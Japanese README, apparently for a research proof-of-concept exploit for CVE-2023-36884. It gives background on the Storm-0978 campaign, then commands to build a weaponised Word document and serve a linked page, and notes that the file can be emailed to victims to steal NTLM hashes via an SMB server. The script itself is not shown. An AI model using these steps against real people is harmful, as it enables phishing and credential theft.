2023年7月11日、Microsoftは複数の活発に悪用されているリモートコード実行（RCE）脆弱性に対処するパッチを公開しました。この措置により、欧州および北米の組織を標的とした、Storm-0978として知られる脅威アクターによるフィッシングキャンペーンも明らかになりました。このキャンペーンの中心となったのはCVE-2023-36884として指定されたゼロデイ脆弱性であり、攻撃者はウクライナ世界会議（UWC）に関連する地政学的な誘引文書を用いて、巧妙に作成されたOffice Open eXtensible Markup Language（OOXML）文書を通じてWindows検索ファイルを悪用することが可能でした。当初はこの脆弱性を緩和するための回避策が提案されていましたが、Microsoftは2023年8月8日にOffice Defense in Depthアップデートをリリースし、Windows検索（*.search-ms）ファイルを介したRCEに至る攻撃連鎖を効果的に断ち切りました。
このエクスプロイトスクリプトは、vsocietyでのCVE分析のために作成されました。
PIPパッケージをインストール：
pip install python-docx pywin32
example.htmlファイルを作成し、Python HTTP Webサーバーを起動：
New-Item -Path "example.html" - ItemType File
python -m http.server 8888
その後、スクリプトを実行：
python gen_docx_with_rtf_altchunk.py merged.docx autolinked.rtf http://localhost:8888/example.html
生成されたファイルは、メールなどで被害者と共有できます。リンクは、被害者のNTLMハッシュを窃取するためのSMBサーバー、または元のマルウェアと同様にWindows Searchファイルを参照するiframeを含むHTMLファイルを参照することができます。情報が不足しているため、正確な悪用方法は示せません。
このエクスプロイトスクリプトは、研究および効果的な防御技術の開発のみを目的として作成されました。悪意のある行為や不正な活動に使用することを意図したものではありません。作成者およびスクリプトの所有者は、本ソフトウェアの誤用または損害について一切の責任を負いません。ユーザーは、本ソフトウェアを責任を持って、該当する法令に従ってのみ使用するよう強く求められます。責任を持って使用してください。